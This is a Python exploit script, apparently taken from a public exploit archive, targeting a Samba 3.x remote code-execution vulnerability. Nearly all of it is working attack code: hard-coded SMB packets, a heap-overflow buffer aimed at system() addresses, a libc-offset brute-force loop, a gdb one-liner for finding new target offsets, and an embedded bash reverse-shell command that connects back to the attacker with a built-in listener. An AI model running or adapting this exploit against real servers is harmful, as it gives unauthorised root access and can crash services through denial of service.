264 lines
No EOL
6.9 KiB
Python
Executable file
264 lines
No EOL
6.9 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/55655/info
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Samba is prone to an unspecified remote code-execution vulnerability.
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An attacker can exploit this issue to execute arbitrary code with root privileges. Failed exploit attempts will cause a denial-of-service condition.
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#!/usr/bin/python
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#
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# finding targets 4 31337z:
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# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
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# -> to get system_libc_addr, enter this value in the 'system_libc_offset' value of the target_finder, run, sit back, wait for shell
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# found by eax samba 0day godz (loljk)
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from binascii import hexlify, unhexlify
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import socket
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import threading
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import SocketServer
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import sys
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import os
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import time
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import struct
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targets = [
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{
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"name" : "samba_3.6.3-debian6",
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"chunk_offset" : 0x9148,
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"system_libc_offset" : 0xb6d003c0
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},
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{
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"name" : "samba_3.5.11~dfsg-1ubuntu2.1_i386 (oneiric)",
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"chunk_offset" : 4560,
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"system_libc_offset" : 0xb20
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},
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{
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"name" : "target_finder (hardcode correct system addr)",
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"chunk_offset" : 0,
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"system_libc_offset" : 0xb6d1a3c0,
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"finder": True
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}
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]
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do_brute = True
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rs = 1024
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FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
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def dump(src, length=32):
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result=[]
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for i in xrange(0, len(src), length):
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s = src[i:i+length]
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hexa = ' '.join(["%02x"%ord(x) for x in s])
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printable = s.translate(FILTER)
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result.append("%04x %-*s %s\n" % (i, length*3, hexa, printable))
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return ''.join(result)
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sploitshake = [
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# HELLO
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"8100004420434b4644454e4543464445" + \
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"46464346474546464343414341434143" + \
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"41434143410020454745424644464545" + \
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"43455046494341434143414341434143" + \
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"4143414341414100",
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# NTLM_NEGOT
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"0000002fff534d427200000000000000" + \
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"00000000000000000000000000001d14" + \
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"00000000000c00024e54204c4d20302e" + \
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"313200",
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# SESSION_SETUP
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"0000004bff534d427300000000080000" + \
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"000000000000000000000000ffff1d14" + \
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"000000000dff000000ffff02001d1499" + \
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"1f00000000000000000000010000000e" + \
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"000000706f736978007079736d6200",
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# TREE_CONNECT
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"00000044ff534d427500000000080000" + \
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"000000000000000000000000ffff1d14" + \
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"6400000004ff00000000000100190000" + \
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"5c5c2a534d425345525645525c495043" + \
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"24003f3f3f3f3f00",
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# NT_CREATE
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"00000059ff534d42a200000000180100" + \
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"00000000000000000000000001001d14" + \
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"6400000018ff00000000050016000000" + \
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"000000009f0102000000000000000000" + \
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"00000000030000000100000040000000" + \
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"020000000306005c73616d7200"
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]
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pwnsauce = {
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'smb_bind': \
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"00000092ff534d422500000000000100" + \
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"00000000000000000000000001001d14" + \
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"6400000010000048000004e0ff000000" + \
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"0000000000000000004a0048004a0002" + \
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"002600babe4f005c504950455c000500" + \
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"0b03100000004800000001000000b810" + \
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"b8100000000001000000000001007857" + \
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"34123412cdabef000123456789ab0000" + \
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"0000045d888aeb1cc9119fe808002b10" + \
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"486002000000",
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'data_chunk': \
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"000010efff534d422f00000000180000" + \
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"00000000000000000000000001001d14" + \
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"640000000eff000000babe00000000ff" + \
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"0000000800b0100000b0103f00000000" + \
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"00b0100500000110000000b010000001" + \
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"0000009810000000000800",
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'final_chunk': \
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"000009a3ff534d422f00000000180000" + \
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"00000000000000000000000001001d14" + \
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"640000000eff000000babe00000000ff" + \
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"00000008006409000064093f00000000" + \
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"00640905000002100000006409000001" + \
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"0000004c09000000000800"
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}
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def exploit(host, port, cbhost, cbport, target):
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global sploitshake, pwnsauce
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chunk_size = 4248
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target_tcp = (host, port)
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.connect(target_tcp)
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n = 0
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for pkt in sploitshake:
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s.send(unhexlify(pkt))
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pkt_res = s.recv(rs)
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n = n+1
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fid = hexlify(pkt_res[0x2a] + pkt_res[0x2b])
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s.send(unhexlify(pwnsauce['smb_bind'].replace("babe", fid)))
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pkt_res = s.recv(rs)
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buf = "X"*20 # policy handle
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level = 2 #LSA_POLICY_INFO_AUDIT_EVENTS
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buf+=struct.pack('<H',level) # level
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buf+=struct.pack('<H',level)# level2
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buf+=struct.pack('<L',1)#auditing_mode
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buf+=struct.pack('<L',1)#ptr
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buf+=struct.pack('<L',100000) # r->count
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buf+=struct.pack('<L',20) # array_size
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buf+=struct.pack('<L',0)
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buf+=struct.pack('<L',100)
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buf += ("A" * target['chunk_offset'])
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buf+=struct.pack("I", 0);
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buf+=struct.pack("I", target['system_libc_offset']);
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buf+=struct.pack("I", 0);
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buf+=struct.pack("I", target['system_libc_offset']);
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buf+=struct.pack("I", 0xe8150c70);
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buf+="AAAABBBB"
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cmd = ";;;;/bin/bash -c '/bin/bash 0</dev/tcp/"+cbhost+"/"+cbport+" 1>&0 2>&0' &\x00"
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tmp = cmd*(816/len(cmd))
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tmp += "\x00"*(816-len(tmp))
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buf+=tmp
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buf+="A"*(37192-target['chunk_offset'])
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buf+='z'*(100000 - (28000 + 10000))
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buf_chunks = [buf[x:x+chunk_size] for x in xrange(0, len(buf), chunk_size)]
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n=0
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for chunk in buf_chunks:
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if len(chunk) != chunk_size:
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#print "LAST CHUNK #%d" % n
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bb = unhexlify(pwnsauce['final_chunk'].replace("babe", fid)) + chunk
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s.send(bb)
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else:
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#print "CHUNK #%d" % n
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bb = unhexlify(pwnsauce['data_chunk'].replace("babe", fid)) + chunk
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s.send(bb)
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retbuf = s.recv(rs)
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n=n+1
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s.close()
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class connectback_shell(SocketServer.BaseRequestHandler):
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def handle(self):
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global do_brute
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print "\n[!] connectback shell from %s" % self.client_address[0]
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do_brute = False
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s = self.request
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import termios, tty, select, os
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old_settings = termios.tcgetattr(0)
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try:
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tty.setcbreak(0)
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c = True
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while c:
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for i in select.select([0, s.fileno()], [], [], 0)[0]:
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c = os.read(i, 1024)
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if c:
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if i == 0:
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os.write(1, c)
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os.write(s.fileno() if i == 0 else 1, c)
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except KeyboardInterrupt: pass
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finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
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return
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class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
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pass
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if len(sys.argv) != 6:
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print "\n {*} samba 3.x remote root by kd(eax)@ireleaseyourohdayfuckyou {*}\n"
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print " usage: %s <targethost> <targetport> <myip> <myport> <target>\n" % (sys.argv[0])
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print " targets:"
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i = 0
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for target in targets:
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print " %02d) %s" % (i, target['name'])
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i = i+1
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print ""
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sys.exit(-1)
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target = targets[int(sys.argv[5])]
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server = ThreadedTCPServer((sys.argv[3], int(sys.argv[4])), connectback_shell)
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server_thread = threading.Thread(target=server.serve_forever)
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server_thread.daemon = True
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server_thread.start()
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while do_brute == True:
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sys.stdout.write("\r{+} TRYING EIP=\x1b[31m0x%08x\x1b[0m OFFSET=\x1b[32m0x%08x\x1b[0m" % (target['system_libc_offset'], target['chunk_offset']))
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sys.stdout.flush()
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exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], target)
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if "finder" in target:
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target['chunk_offset'] += 4
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else:
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target['system_libc_offset'] += 0x1000
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if "finder" in target:
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print \
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"{!} found \x1b[32mNEW\x1b[0m target: chunk_offset = ~%d, " \
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"system_libc_offset = 0x%03x" % \
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(target['chunk_offset'], target['system_libc_offset'] & 0xff000fff)
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while 1:
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time.sleep(999)
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server.shutdown() |